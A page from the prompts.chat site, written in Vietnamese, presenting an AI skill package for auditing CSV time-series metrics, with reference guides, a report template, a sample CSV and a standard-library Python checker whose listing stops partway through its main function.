prompts.chatprompts.chatprompts.chat
BotPromptKỹ năngQuy trìnhDanh mụcThẻCao thủ PromptPhong cách
SáchCho trẻ emNhà phát triển
Đăng nhập
CC0 2026 prompts.chat
DeepWikiHướng dẫn...Tài liệuAPIQuyền riêng tưĐiều khoảnHỗ trợGiới thiệuGitHub
F

Fatih Kadir Akın

@f

446prompt
0lượt bình chọn nhận được
0đóng góp
Tham gia about 13 hours ago
446 đóng góp trong năm qua
Tháng 11
Tháng 12
Tháng 1
Tháng 2
Tháng 3
Tháng 4
Tháng 5
Tháng 6
Tháng 7
Tháng 8
Tháng 9
Tháng 10
M
W
F
Ít
Nhiều
Công cụ Kiểm tra Khoảng trống và Điểm bất thường trong Chuỗi thời gian
Kỹ năng

Kiểm tra dữ liệu chuỗi thời gian dạng CSV (số liệu đo lường, chỉ số cảm biến, doanh số theo giờ) để phát hiện các vấn đề dữ liệu trước khi vẽ biểu đồ hoặc thiết lập cảnh báo: thiếu khoảng thời gian, dấu thời gian (timestamp) bị trùng lặp hoặc sai thứ tự, giá trị trống, đường đi ngang (flatlines) do trình xuất dữ liệu bị treo, các điểm đột biến (spikes) phát hiện qua trung vị/MAD bền vững và hiện tượng đặt lại bộ đếm (counter resets). Sử dụng khi bảng điều khiển (dashboard) có dấu hiệu bất thường, trước khi huấn luyện mô hình dự báo hoặc khi cần trả lời câu hỏi "dữ liệu này đã đầy đủ chưa?". Bao gồm công cụ kiểm tra bằng thư viện chuẩn Python có hỗ trợ cờ --self-test.

---
name: time-series-gap-anomaly-checker
description: Kiểm tra dữ liệu chuỗi thời gian dạng CSV (số liệu đo lường, chỉ số cảm biến, doanh số theo giờ) để phát hiện các vấn đề dữ liệu trước khi vẽ biểu đồ hoặc thiết lập cảnh báo: thiếu khoảng thời gian, dấu thời gian (timestamp) bị trùng lặp hoặc sai thứ tự, giá trị trống, đường đi ngang (flatlines) do trình xuất dữ liệu bị treo, các điểm đột biến (spikes) phát hiện qua trung vị/MAD bền vững và hiện tượng đặt lại bộ đếm (counter resets). Sử dụng khi bảng điều khiển (dashboard) có dấu hiệu bất thường, trước khi huấn luyện mô hình dự báo hoặc khi cần trả lời câu hỏi "dữ liệu này đã đầy đủ chưa?". Bao gồm công cụ kiểm tra bằng thư viện chuẩn Python có hỗ trợ cờ --self-test.
---

# Công cụ Kiểm tra Khoảng trống và Điểm bất thường trong Chuỗi thời gian

Bạn giúp các chuyên viên phân tích, kỹ sư SRE và kỹ sư dữ liệu quyết định xem một chuỗi thời gian có đáng tin cậy hay không. Bạn tìm ra những vị trí dữ liệu bị thiếu, lặp lại, bị treo cứng hoặc đáng ngờ, giải thích nguyên nhân khả dĩ của từng vấn đề, đồng thời tách biệt các sự cố thu thập dữ liệu (trên đường ống pipeline) khỏi các sự kiện thực tế (trên hệ thống đang được đo lường). Bạn không bao giờ âm thầm tự lấp đầy các khoảng trống hoặc xóa bỏ các điểm ngoại lai (outliers); bạn đề xuất phương án xử lý và nêu rõ phương án đó làm thay đổi điều gì.

## Các tệp trong kỹ năng này

- `scripts/ts_check.py` - đọc tệp CSV, suy luận khoảng thời gian lấy mẫu (sampling interval) và báo cáo các khoảng trống, dữ liệu trùng lặp, các dòng sai thứ tự, giá trị bị thiếu, đường đi ngang (flatlines), điểm đột biến (spikes) và hiện tượng đặt lại bộ đếm dưới dạng markdown hoặc JSON (chỉ sử dụng thư viện chuẩn Python 3)
- `references/anomaly-methods.md` - cách thức hoạt động của các phép kiểm tra, cách tinh chỉnh ngưỡng (thresholds) và những trường hợp mỗi phương pháp không phát huy tác dụng
- `references/gap-handling-playbook.md` - cách xử lý cho từng loại vấn đề: điền giá trị (fill), nội suy (interpolate), loại bỏ (drop) hoặc ghi chú (annotate)
- `templates/data-quality-report.md` - mẫu báo cáo phục vụ việc sửa lỗi dashboard, đánh giá sự cố hoặc bàn giao bộ dữ liệu
- `examples/api-metrics.csv` - dữ liệu số liệu API mỗi 5 phút trong suốt ba giờ, bao gồm một đợt gián đoạn thu thập dữ liệu, một dòng trùng lặp, một giá trị bị treo, một điểm đột biến độ trễ và một lần đặt lại bộ đếm

## Quy trình thực hiện

### 1. Tìm hiểu chuỗi dữ liệu
Hỏi xem mỗi cột đo lường đại lượng gì, đơn vị tính, khoảng thời gian lấy mẫu kỳ vọng là bao nhiêu, và liệu có cột nào là bộ đếm đơn điệu (monotonic counter) hay không (ví dụ: requests_total, bytes_sent). Hỏi xem các dấu thời gian không kèm múi giờ (naive timestamps) đang sử dụng múi giờ nào; kịch bản mặc định coi chúng là giờ UTC.

### 2. Chạy công cụ kiểm tra
```
python3 scripts/ts_check.py examples/api-metrics.csv --counter requests_total
python3 scripts/ts_check.py data.csv --time-col ts --cols temp_c,humidity --interval 10m
python3 scripts/ts_check.py data.csv --z 5 --window 12 --flatline-points 12 --json > report.json
python3 scripts/ts_check.py --self-test
```
Dấu thời gian có thể ở định dạng ISO 8601 hoặc thời gian Unix epoch tính bằng giây hoặc mili-giây. Trả về mã thoát (exit code) là 1 khi phát hiện bất kỳ vấn đề nào, và 2 khi đầu vào không hợp lệ, nhờ đó có thể dùng làm cổng kiểm soát (gate) trong đường ống dữ liệu.

### 3. Đọc kết quả
- **Độ đầy đủ (Completeness)** = số dòng hiện có / số dòng kỳ vọng trên toàn dải thời gian. Mức dưới 95% thường đồng nghĩa với việc các con số tổng hợp và trung bình đã bị sai lệch.
- **gap**: khoảng cách giữa các điểm vượt quá 1.5 lần khoảng lấy mẫu. Các khoảng trống dài xuất hiện vào những khung giờ cố định thường là do quá trình triển khai (deploy) hoặc tác vụ định kỳ (cron job); một khoảng trống dài đơn lẻ thường do bộ thu thập dữ liệu (collector) bị ngừng hoạt động.
- **duplicate / out_of_order**: thu thập dữ liệu bị đúp, cơ chế thử lại (retries) hoặc do gộp nhiều tệp với nhau.
- **flatline**: cùng một giá trị lặp đi lặp lại; đây là điều bình thường đối với tín hiệu bật/tắt (on/off), nhưng lại rất đáng ngờ đối với các phép đo vốn có độ nhiễu tự nhiên.
- **spike**: điểm z-score bền vững (robust z-score) so với trung vị trượt (rolling median). Hãy kiểm tra xem các cột lân cận có tăng đột biến cùng lúc hay không (nếu có thì là sự kiện thực tế, nếu không thì là lỗi nhiễu dữ liệu).
- **reset**: bộ đếm bị sụt giảm giá trị, thường do tiến trình khởi động lại; các phép tính tốc độ thay đổi (rate) bắt buộc phải xử lý trường hợp này.

### 4. Đề xuất phương án xử lý
Sử dụng `references/gap-handling-playbook.md`. Tinh chỉnh các ngưỡng bằng `references/anomaly-methods.md` nếu dữ liệu có tính mùa vụ, biến động theo từng đợt (bursty) hoặc rất thưa thớt.

### 5. Báo cáo
Điền vào mẫu `templates/data-quality-report.md` với các con số tóm tắt, những vấn đề hàng đầu kèm theo thời gian theo múi giờ của người dùng, nguyên nhân nghi ngờ và phương án xử lý đã thống nhất.

## Quy tắc

- Chỉ báo cáo các vấn đề; không tự ý sửa đổi dữ liệu nguồn. Ghi dữ liệu đã làm sạch ra một tệp mới và ghi lại tài liệu cho mọi thay đổi đã thực hiện.
- Không kết luận một điểm đột biến (spike) là sự cố hệ thống nếu chưa có bằng chứng củng cố (từ các số liệu khác, nhật ký hệ thống hoặc xác nhận của con người).
- Nêu rõ khoảng lấy mẫu và các ngưỡng bạn đã sử dụng để kết quả có thể tái lập lại được.
- Chuyển đổi giờ UTC sang múi giờ của người dùng khi trình bày kết quả.
FILE:references/anomaly-methods.md
# Phương pháp Phát hiện Bất thường và Tinh chỉnh Tham số

## Suy luận khoảng thời gian lấy mẫu
Khoảng thời gian lấy mẫu kỳ vọng là trung vị của khoảng cách giữa các dấu thời gian duy nhất đã được sắp xếp tăng dần. Cách tính này vẫn chính xác ngay cả khi có một vài khoảng trống và độ trễ dao động nhỏ (jitter). Hãy truyền tham số `--interval` khi chuỗi dữ liệu phần lớn là khoảng trống (dữ liệu sự kiện thưa thớt) hoặc khi bạn đã biết chắc chắn chu kỳ thu thập dữ liệu.

Khoảng trống (gap) là bất kỳ khoảng cách nào lớn hơn 1.5 lần khoảng lấy mẫu; vì vậy với dữ liệu 5 phút một lần, khoảng cách 7 phút không bị coi là khoảng trống nhưng khoảng cách 10 phút thì được tính là một khoảng trống (thiếu 1 điểm dữ liệu).

## Phát hiện điểm đột biến bền vững (trung vị trượt + MAD)
Đối với mỗi điểm, lấy tối đa `--window` điểm lân cận ở mỗi bên (không tính chính điểm đang xét), tính trung vị (median) và độ lệch tuyệt đối trung vị (MAD - median absolute deviation) của chúng. Điểm z-score bền vững được tính theo công thức:

    z = |value - median| / (1.4826 * MAD)

Hệ số 1.4826 giúp quy đổi MAD tương đương với độ lệch chuẩn đối với dữ liệu phân phối chuẩn. Ngưỡng mặc định bằng 4 tương ứng với xác suất khoảng 1 trên 15.000 đối với nhiễu phân phối chuẩn. Khi có hơn một nửa số điểm lân cận mang giá trị giống hệt nhau (MAD = 0), độ lệch tuyệt đối trung bình (mean absolute deviation) sẽ được sử dụng thay thế, và nếu toàn bộ vùng lân cận hoàn toàn phẳng thì lấy bằng 1% mức giá trị đó.

Tại sao không dùng giá trị trung bình (mean) và độ lệch chuẩn (standard deviation)? Chỉ cần một điểm đột biến lớn cũng đủ làm phình đại độ lệch chuẩn và khiến chính điểm đột biến đó bị che khuất. Ngược lại, trung vị và MAD hoàn toàn miễn nhiễm với hiện tượng này.

## Tinh chỉnh tham số
| Loại dữ liệu | Gợi ý cấu hình |
|---|---|
| Số liệu nhiều nhiễu (độ trễ, CPU) | `--z 5`, `--window 12` |
| Có tính mùa vụ theo ngày hoặc tuần | Kiểm tra từng chu kỳ mùa vụ một, hoặc so sánh với cùng khung giờ tuần trước trước khi tin vào các điểm đột biến |
| Dữ liệu kinh doanh tăng vọt theo đợt (đơn hàng) | Tăng `--z` cao hơn (6-8); các điểm vọt lên thường là sự kiện thật |
| Giá trị số nguyên hoặc độ phân giải thấp | Thường gặp MAD = 0; hãy tăng `--z` hoặc tổng hợp (aggregate) dữ liệu trước |
| Tín hiệu bật/tắt hoặc trạng thái | Bỏ qua cảnh báo flatline; chỉ kiểm tra các khoảng trống (gaps) |
| Bộ đếm (Counters) | Luôn truyền cờ `--counter`; kiểm tra tốc độ biến thiên (rates) sau khi đã xử lý các điểm reset |

## Các giới hạn đã biết
- Sự trượt giá trị từ từ (gradual drifts) và sự dịch chuyển nền giá trị (level shifts) không phải là điểm đột biến ngắn hạn; hãy vẽ biểu đồ chuỗi dữ liệu hoặc so sánh trung vị giữa các tuần.
- Một vài điểm đầu tiên và cuối cùng có ít điểm lân cận hơn, do đó điểm số của chúng kém tin cậy hơn.
- Các luồng sự kiện không đều đặn (lượt đăng nhập, lượt mua hàng) không có khoảng lấy mẫu cố định; hãy gom nhóm (aggregate) chúng vào các khung thời gian (buckets) trước.
FILE:references/gap-handling-playbook.md
# Cẩm nang Xử lý Khoảng trống và Điểm bất thường

| Vấn đề | Nguyên nhân khả dĩ | Phương án xử lý mặc định | Điều cần tránh |
|---|---|---|---|
| Khoảng trống ngắn (1-2 điểm) | quá thời gian thu thập (scrape timeout), chập chờn mạng thoáng qua | Nội suy tuyến tính cho các tín hiệu mượt; giữ nguyên giá trị null đối với số đếm | Điền số 0 vào các cột số đếm |
| Khoảng trống dài | trình thu thập ngừng chạy, đang triển khai hệ thống, máy chủ tắt | Giữ nguyên null và ghi chú lên biểu đồ; loại trừ khỏi phép tính SLO hoặc tính là trạng thái chưa xác định (unknown) | Nội suy bắc cầu qua nhiều giờ liền |
| Dấu thời gian trùng lặp | thu thập đúp, chạy lại lô dữ liệu (retried batch), gộp nhiều tệp | Giữ lại một dòng duy nhất (dòng đầu tiên hoặc dòng có nhiều trường dữ liệu nhất); kiểm tra xem các giá trị có khác nhau không | Cộng gộp các dòng trùng lặp |
| Dòng dữ liệu sai thứ tự thời gian | dữ liệu đến muộn, nối ghép các tệp | Sắp xếp lại theo thời gian trước khi thực hiện bất kỳ phép tính trượt (windowed calculation) nào | Mặc định thứ tự dòng trong tệp là thứ tự thời gian |
| Giá trị bị thiếu (Missing values) | cảm biến mất tín hiệu tạm thời, lỗi phân tích cú pháp, chuỗi "N/A" | Sửa lỗi bộ phân tích cú pháp (parser) trước; sau đó xử lý như một khoảng trống | Coi ô trống là giá trị 0 |
| Đường đi ngang (Flatline) | trình xuất dữ liệu bị treo, giá trị lấy từ bộ nhớ đệm, cảm biến bị đơ | Xác nhận chéo với nguồn dữ liệu thứ hai; đánh dấu là đáng ngờ | Tin tưởng dữ liệu này để kích hoạt cảnh báo |
| Điểm đột biến (Spike đơn lẻ) | lỗi nhiễu thoáng qua, sai đơn vị đo, đợt tăng tải thực tế | Kiểm tra các cột liên quan và nhật ký hệ thống; chỉ giới hạn trần (cap) hoặc loại bỏ khi có lý do được ghi chép rõ ràng | Xóa bỏ mà không để lại ghi chú |
| Đặt lại bộ đếm (Counter reset) | tiến trình khởi động lại, tràn bộ đếm (overflow) | Tính tốc độ (rate) theo từng phân đoạn (tốc độ sau khi reset = giá trị mới / khoảng thời gian) | Để xuất hiện tốc độ âm |

## Trước khi xây dựng mô hình hoặc dự báo
1. Sắp xếp, khử trùng lặp và chuẩn hóa về đúng khoảng thời gian lấy mẫu kỳ vọng (chèn giá trị null vào các vị trí bị khuyết).
2. Quyết định chính sách xử lý khoảng trống cho từng cột và ghi nhận lại.
3. Duy trì thêm một cột đánh dấu mặt nạ (`is_imputed`) để mô hình và người đọc biết những vị trí nào đã được điền dữ liệu nhân tạo.
4. Chạy lại công cụ kiểm tra trên tệp đã làm sạch và đính kèm cả hai bản báo cáo.

## Khi nào cần báo cáo nâng cấp độ ưu tiên (Escalate)
- Độ đầy đủ (Completeness) dưới 90% đối với một chỉ số được dùng để tính SLO hoặc lập hóa đơn thanh toán.
- Các khoảng trống lặp đi lặp lại vào cùng một thời điểm mỗi ngày (có một tác vụ ngầm nào đó đang làm sập bộ thu thập dữ liệu).
- Các điểm đột biến xuất hiện đồng loạt trên tất cả các máy chủ cùng một lúc (đây là sự cố hệ thống thực sự, không phải lỗi dữ liệu).
FILE:templates/data-quality-report.md
# Chất lượng Dữ liệu Chuỗi thời gian - <tên bộ dữ liệu hoặc dashboard>

**Nguồn:** <tệp / truy vấn>  **Phạm vi:** <bắt đầu> đến <kết thúc> (<múi giờ>)  **Khoảng lấy mẫu:** <kỳ vọng>
**Số dòng:** <n>  **Độ đầy đủ:** <phần trăm>  **Ngưỡng áp dụng:** z=<z>, window=<w>, flatline=<n>

## Tóm tắt
<hai câu: dữ liệu này có đáng tin cậy cho mục đích sử dụng dự kiến hay không, và điều gì cần phải thay đổi trước tiên>

## Các vấn đề phát hiện
| Loại vấn đề | Thời điểm (<múi giờ>) | Cột | Chi tiết | Nguyên nhân nghi ngờ | Phương án xử lý |
|---|---|---|---|---|---|
| | | | | | |

## Các quyết định xử lý
- Chính sách xử lý khoảng trống: <nội suy các khoảng trống ngắn / giữ nguyên null / loại trừ>
- Chính sách xử lý điểm ngoại lai: <giữ nguyên / giới hạn trần / loại bỏ kèm ghi chú>
- Xử lý bộ đếm: <tính tốc độ theo phân đoạn tại các điểm reset>

## Công việc tiếp theo
- [ ] <sửa bộ thu thập dữ liệu / bộ phân tích cú pháp / cảnh báo> - người phụ trách <tên> - hạn hoàn thành <ngày>

Được tạo bằng scripts/ts_check.py. Dữ liệu nguồn không bị sửa đổi.
FILE:examples/api-metrics.csv
timestamp,p95_latency_ms,error_rate,requests_total
2026-10-18T22:00:00Z,182,0.4,1200
2026-10-18T22:05:00Z,176,0.3,2435
2026-10-18T22:10:00Z,190,0.5,3705
2026-10-18T22:15:00Z,185,0.4,5010
2026-10-18T22:20:00Z,179,0.3,6210
2026-10-18T22:25:00Z,188,0.4,7445
2026-10-18T22:30:00Z,181,0.5,8715
2026-10-18T22:35:00Z,193,0.4,10020
2026-10-18T22:35:00Z,193,0.4,10020
2026-10-18T22:40:00Z,177,0.3,11220
2026-10-18T22:45:00Z,184,0.4,12455
2026-10-18T22:50:00Z,186,0.4,13725
2026-10-18T22:55:00Z,180,0.4,15030
2026-10-18T23:00:00Z,191,0.4,16230
2026-10-18T23:05:00Z,,0.4,17465
2026-10-18T23:10:00Z,178,0.4,18735
2026-10-18T23:15:00Z,187,0.4,20040
2026-10-18T23:20:00Z,182,0.4,21240
2026-10-18T23:25:00Z,189,0.4,22475
2026-10-18T23:30:00Z,612,2.1,23745
2026-10-18T23:35:00Z,185,0.5,25050
2026-10-18T23:40:00Z,180,0.3,26250
2026-10-18T23:45:00Z,184,0.4,27485
2026-10-19T00:10:00Z,188,0.5,28755
2026-10-19T00:15:00Z,183,0.4,30060
2026-10-19T00:20:00Z,177,0.3,31260
2026-10-19T00:25:00Z,185,0.4,32495
2026-10-19T00:30:00Z,182,0.5,1180
2026-10-19T00:35:00Z,189,0.4,2485
2026-10-19T00:40:00Z,184,0.3,3685
2026-10-19T00:45:00Z,180,0.4,4920
2026-10-19T00:50:00Z,186,0.5,6190
2026-10-19T00:55:00Z,183,0.4,7495
FILE:scripts/ts_check.py
#!/usr/bin/env python3
"""Time series gap and anomaly checker for CSV metrics (Python 3 standard library only).

Reads a CSV with a timestamp column and one or more numeric columns, infers the sampling
interval (median spacing) unless --interval is given, and reports:
  gap          missing samples (spacing > 1.5 x interval), with how many points are missing
  duplicate    repeated timestamps
  out_of_order timestamps that go backwards
  missing      empty, NaN, or non-numeric values
  flatline     the same value repeated for >= --flatline-points samples (stuck sensor/exporter)
  spike        robust outliers: |value - rolling median| / (1.4826 * MAD) >= --z (default 4);
               if MAD is 0 the mean absolute deviation is used instead
  reset        a counter column that decreases (--counter col1,col2)

Timestamps: ISO 8601 (with Z or offset; naive = UTC) or Unix epoch seconds/milliseconds.

Usage:
  python3 ts_check.py metrics.csv
  python3 ts_check.py metrics.csv --time-col ts --cols cpu,latency_ms --interval 5m --z 5
  python3 ts_check.py metrics.csv --counter requests_total --json
  python3 ts_check.py --self-test
Exit code: 0 clean, 1 issues found, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import io
import json
import math
import re
import statistics
import sys


class InputError(ValueError):
    pass


def parse_ts(raw):
    s = (raw or "").strip()
    if not s:
        raise InputError("empty timestamp")
    if re.fullmatch(r"-?\d+(\.\d+)?", s):
        v = float(s)
        return v / 1000.0 if v > 1e11 else v
    try:
        t = dt.datetime.fromisoformat(s.replace("Z", "+00:00").replace(" ", "T", 1))
    except ValueError:
        raise InputError(f"unparseable timestamp {s!r}")
    if t.tzinfo is None:
        t = t.replace(tzinfo=dt.timezone.utc)
    return t.timestamp()


def parse_interval(s):
    m = re.fullmatch(r"(\d+(?:\.\d+)?)\s*(ms|s|m|h|d)?", s.strip())
    if not m:
        raise InputError(f"bad interval {s!r}; use e.g. 30s, 5m, 1h")
    mult = {"ms": 0.001, "s": 1, None: 1, "m": 60, "h": 3600, "d": 86400}[m.group(2)]
    return float(m.group(1)) * mult


def fmt_ts(ts):
    return dt.datetime.fromtimestamp(ts, dt.timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")


def fmt_dur(sec):
    for unit, size in (("d", 86400), ("h", 3600), ("m", 60)):
        if sec >= size:
            v = sec / size
            return f"{v:.0f}{unit}" if v == int(v) else f"{v:.1f}{unit}"
    return f"{sec:g}s"


def to_float(raw):
    s = (raw or "").strip()
    if s == "" or s.lower() in ("nan", "null", "none", "na", "n/a", "-"):
        return None
    try:
        v = float(s)
    except ValueError:
        return None
    return None if math.isnan(v) or math.isinf(v) else v


def load(text, time_col=None, cols=None):
    reader = csv.DictReader(io.StringIO(text))
    if not reader.fieldnames:
        raise InputError("CSV has no header row")
    fields = [f.strip() for f in reader.fieldnames]
    reader.fieldnames = fields
    if time_col is None:
        cands = [f for f in fields if f.lower() in ("timestamp", "time", "ts", "date", "datetime")]
        time_col = cands[0] if cands else fields[0]
    if time_col not in fields:
        raise InputError(f"time column {time_col!r} not in header {fields}")
    value_cols = cols or [f for f in fields if f != time_col]
    for c in value_cols:
        if c not in fields:
            raise InputError(f"column {c!r} not in header {fields}")
    rows = []
    for i, r in enumerate(reader, start=2):
        rows.append({"line": i, "ts": parse_ts(r.get(time_col)),
                     "raw": {c: r.get(c) for c in value_cols}})
    if len(rows) < 3:
        raise InputError("need at least 3 data rows")
    return time_col, value_cols, rows


def rolling_robust(values, idx, window):
    lo, hi = max(0, idx - window), min(len(values), idx + window + 1)
    neigh = [values[j] for j in range(lo, hi) if j != idx and values[j] is not None]
    if len(neigh) < 4:
        return None, None
    med = statistics.median(neigh)
    mad = statistics.median(abs(v - med) for v in neigh)
    scale = 1.4826 * mad
    if scale == 0:  # more than half the neighbours equal the median: fall back to mean absolute deviation
        scale = 1.2533 * statistics.fmean(abs(v - med) for v in neigh)
    if scale == 0:  # perfectly flat neighbourhood: 1% of the level
        scale = max(abs(med) * 0.01, 1e-9)
    return med, scale


def check(text, time_col=None, cols=None, interval=None, z=4.0, window=6, flatline_points=6, counters=()):
    time_col, value_cols, rows = load(text, time_col, cols)
    issues = []

    def add(kind, line, ts, col, detail):
        issues.append({"kind": kind, "line": line, "time": fmt_ts(ts), "column": col, "detail": detail})

    # order and duplicates (in file order)
    seen = {}
    for prev, cur in zip(rows, rows[1:]):
        if cur["ts"] < prev["ts"]:
            add("out_of_order", cur["line"], cur["ts"], time_col, f"goes back {fmt_dur(prev['ts'] - cur['ts'])} from line {prev['line']}")
    for r in rows:
        if r["ts"] in seen:
            add("duplicate", r["line"], r["ts"], time_col, f"same timestamp as line {seen[r['ts']]}")
        else:
            seen[r["ts"]] = r["line"]
    srt = sorted({r["ts"]: r for r in reversed(rows)}.values(), key=lambda r: r["ts"])  # first occurrence wins
    diffs = [b["ts"] - a["ts"] for a, b in zip(srt, srt[1:]) if b["ts"] > a["ts"]]
    if interval is None:
        if not diffs:
            raise InputError("cannot infer interval: all timestamps identical")
        interval = statistics.median(diffs)
    expected = int(round((srt[-1]["ts"] - srt[0]["ts"]) / interval)) + 1
    missing_points = 0
    for a, b in zip(srt, srt[1:]):
        d = b["ts"] - a["ts"]
        if d > 1.5 * interval:
            n = int(round(d / interval)) - 1
            missing_points += n
            add("gap", b["line"], a["ts"], time_col, f"{fmt_dur(d)} without data after {fmt_ts(a['ts'])} (~{n} missing)")

    stats = {}
    for c in value_cols:
        vals = [to_float(r["raw"][c]) for r in srt]
        for r, v in zip(srt, vals):
            if v is None:
                add("missing", r["line"], r["ts"], c, f"value {r['raw'][c]!r} is empty or not numeric")
        # flatline runs
        run_start = 0
        for i in range(1, len(vals) + 1):
            if i < len(vals) and vals[i] is not None and vals[i] == vals[run_start]:
                continue
            length = i - run_start
            if vals[run_start] is not None and length >= flatline_points:
                r0, r1 = srt[run_start], srt[i - 1]
                add("flatline", r0["line"], r0["ts"], c, f"value {vals[run_start]:g} repeated {length}x until {fmt_ts(r1['ts'])}")
            run_start = i
        if c in counters:
            for i in range(1, len(vals)):
                if vals[i] is not None and vals[i - 1] is not None and vals[i] < vals[i - 1]:
                    add("reset", srt[i]["line"], srt[i]["ts"], c, f"counter dropped {vals[i - 1]:g} -> {vals[i]:g} (restart or wrap)")
        else:
            for i, v in enumerate(vals):
                if v is None:
                    continue
                med, scale = rolling_robust(vals, i, window)
                if med is None:
                    continue
                score = abs(v - med) / scale
                if score >= z:
                    add("spike", srt[i]["line"], srt[i]["ts"], c, f"{v:g} vs local median {med:g} (robust z {score:.1f})")
        good = [v for v in vals if v is not None]
        stats[c] = {"count": len(good), "min": min(good) if good else None, "max": max(good) if good else None,
                    "median": statistics.median(good) if good else None}

    order = {"out_of_order": 0, "duplicate": 1, "gap": 2, "reset": 3, "missing": 4, "flatline": 5, "spike": 6}
    issues.sort(key=lambda x: (order[x["kind"]], x["time"], x["column"]))
    counts = {}
    for it in issues:
        counts[it["kind"]] = counts.get(it["kind"], 0) + 1
    return {
        "rows": len(rows), "time_column": time_col, "columns": value_cols,
        "start": fmt_ts(srt[0]["ts"]), "end": fmt_ts(srt[-1]["ts"]),
        "interval": fmt_dur(interval), "interval_seconds": interval,
        "expected_points": expected, "missing_points": missing_points,
        "completeness": round(100.0 * len(srt) / expected, 1) if expected else 100.0,
        "stats": stats, "counts": counts, "issues": issues,
    }


def to_markdown(r):
    lines = ["# Time series check", "",
             f"Rows: {r['rows']}  Range: {r['start']} to {r['end']}  Interval: {r['interval']}",
             f"Completeness: {r['completeness']}% ({r['missing_points']} of {r['expected_points']} expected points missing)", "",
             "| Column | Count | Min | Median | Max |", "|---|---|---|---|---|"]
    for c, s in r["stats"].items():
        f = lambda v: "-" if v is None else f"{v:g}"
        lines.append(f"| {c} | {s['count']} | {f(s['min'])} | {f(s['median'])} | {f(s['max'])} |")
    lines += ["", "## Issues"]
    if not r["issues"]:
        lines.append("No issues found.")
    else:
        lines.append("Totals: " + ", ".join(f"{k} {v}" for k, v in r["counts"].items()))
        lines += ["", "| Kind | Time (UTC) | Column | Line | Detail |", "|---|---|---|---|---|"]
        lines += [f"| {i['kind']} | {i['time']} | {i['column']} | {i['line']} | {i['detail']} |" for i in r["issues"]]
    return "\n".join(lines)


def self_test():
    cases = []

    def ok(name, cond):
        cases.append((name, bool(cond)))

    base = 1760860800  # 2025-10-19T08:00:00Z
    def csv_of(points, header="timestamp,value"):
        return header + "\n" + "\n".join(f"{t},{v}" for t, v in points) + "\n"
    wave = [10 + (i % 3) for i in range(30)]
    clean = csv_of([(base + 60 * i, v) for i, v in enumerate(wave)])
    r = check(clean)
    ok("clean series has no issues", r["issues"] == [])
    ok("interval inferred as 1m", r["interval"] == "1m")
    ok("completeness 100%", r["completeness"] == 100.0)
    gap_pts = [(base + 60 * i, v) for i, v in enumerate(wave) if not 10 <= i < 15]
    r = check(csv_of(gap_pts))
    ok("gap detected", r["counts"].get("gap") == 1)
    ok("gap counts 5 missing points", r["missing_points"] == 5)
    spiky = list(wave); spiky[20] = 95
    r = check(csv_of([(base + 60 * i, v) for i, v in enumerate(spiky)]))
    ok("spike detected", [i["line"] for i in r["issues"] if i["kind"] == "spike"] == [22])
    flat = list(wave); flat[5:13] = [7] * 8
    r = check(csv_of([(base + 60 * i, v) for i, v in enumerate(flat)]), z=100)
    ok("flatline detected", r["counts"].get("flatline") == 1)
    miss = [(base + 60 * i, ("" if i == 4 else "NaN" if i == 9 else v)) for i, v in enumerate(wave)]
    ok("missing values detected", check(csv_of(miss)).get("counts").get("missing") == 2)
    dup = [(base + 60 * i, v) for i, v in enumerate(wave)]
    dup.insert(6, dup[5])
    ok("duplicate detected", check(csv_of(dup))["counts"].get("duplicate") == 1)
    ooo = [(base + 60 * i, v) for i, v in enumerate(wave)]
    ooo[7], ooo[8] = ooo[8], ooo[7]
    ok("out of order detected", check(csv_of(ooo))["counts"].get("out_of_order") == 1)
    counter = [(base + 60 * i, 100 * i if i < 20 else 100 * (i - 20)) for i in range(30)]
    r = check(csv_of(counter, "ts,requests_total"), counters=("requests_total",))
    ok("counter reset detected", r["counts"].get("reset") == 1 and "spike" not in r["counts"])
    iso_rows = "time,cpu\n" + "\n".join(f"2026-10-19T08:{i:02d}:00Z,{40 + (i % 2)}" for i in range(0, 60, 5)) + "\n"
    r = check(iso_rows)
    ok("ISO timestamps and 5m interval", r["interval"] == "5m" and r["issues"] == [])
    ms_rows = csv_of([((base + 30 * i) * 1000, v) for i, v in enumerate(wave)])
    ok("epoch milliseconds accepted", check(ms_rows)["interval"] == "30s")
    r = check(clean, interval=30.0)
    ok("explicit 30s interval flags every 1m step as a gap", r["counts"].get("gap") == 29 and r["completeness"] < 60)
    jitter = csv_of([(base + 60 * i + (3 if i % 2 else -2), v) for i, v in enumerate(wave)])
    ok("small timestamp jitter is not a gap", "gap" not in check(jitter)["counts"])
    multi = "timestamp,a,b\n" + "\n".join(f"{base + 60 * i},{wave[i]},{wave[i] * 2 if i != 12 else 500}" for i in range(30)) + "\n"
    r = check(multi, cols=["a", "b"])
    ok("multi-column spike only in b", {i["column"] for i in r["issues"]} == {"b"})
    for bad, label in (("timestamp,value\n1,2\n", "too few rows rejected"),
                       ("timestamp,value\nyesterday,1\ntoday,2\nnow,3\n", "bad timestamp rejected")):
        try:
            check(bad)
            ok(label, False)
        except InputError:
            ok(label, True)
    ok("markdown renders", "## Issues" in to_markdown(check(clean)))
    passed = sum(c for _, c in cases)
    for name, c in cases:
        print(("PASS " if c else "FAIL ") + name)
    print(f"{passed}/{len(cases)} passed")
    return 0 if passed == len(cases) else 1


def main(argv=None):
    ap = argparse.ArgumentParser(description="Find gaps, duplicates, flatlines, spikes, and counter resets in CSV metrics.")
    ap.add_argument("csv", nargs="?", help="CSV file, or '-' for stdin")
    ap.add_argument("--time-col")
    ap.add_argument("--cols", help="comma-separated value columns (default: all except the time column)")
    ap.add_argument("--interval", help="expected spacing, e.g. 30s, 5m, 1h (default: median spacing)")
    ap.add_argument("--z", type=float, default=4.0, help="robust z-score threshold for spikes (default 4)")
    ap.add_argument("--window", type=int, default=6, help="neighbours on each side for the rolling median (default 6)")
    ap.add_argument("--flatline-points", type=int, default=6)
    ap.add_argument("--counter", default="", help="comma-separated monotonic counter columns (checked for resets, not spikes)")
    ap.add_argument("--json", action="store_true")
    ap.add_argument("--self-test", action="store_true")
    a = ap.parse_args(argv)
    if a.self_test:
        return self_test()
    if not a.csv:
        ap.error("csv path required (or --self-test)")
    try:
        text = sys.stdin.read() if a.csv == "-" else open(a.csv, encoding="utf-8-sig").read()
        r = check(text, a.time_col, [c.strip() for c in a.cols.split(",")] if a.cols else None,
                  parse_interval(a.interval) if a.interval else None, a.z, a.window, a.flatline_points,
                  tuple(c.strip() for c in a.counter.split(",") if c.strip()))
    except (OSError, InputError) as e:
        print(f"error: {e}", file=sys.stderr)
        return 2
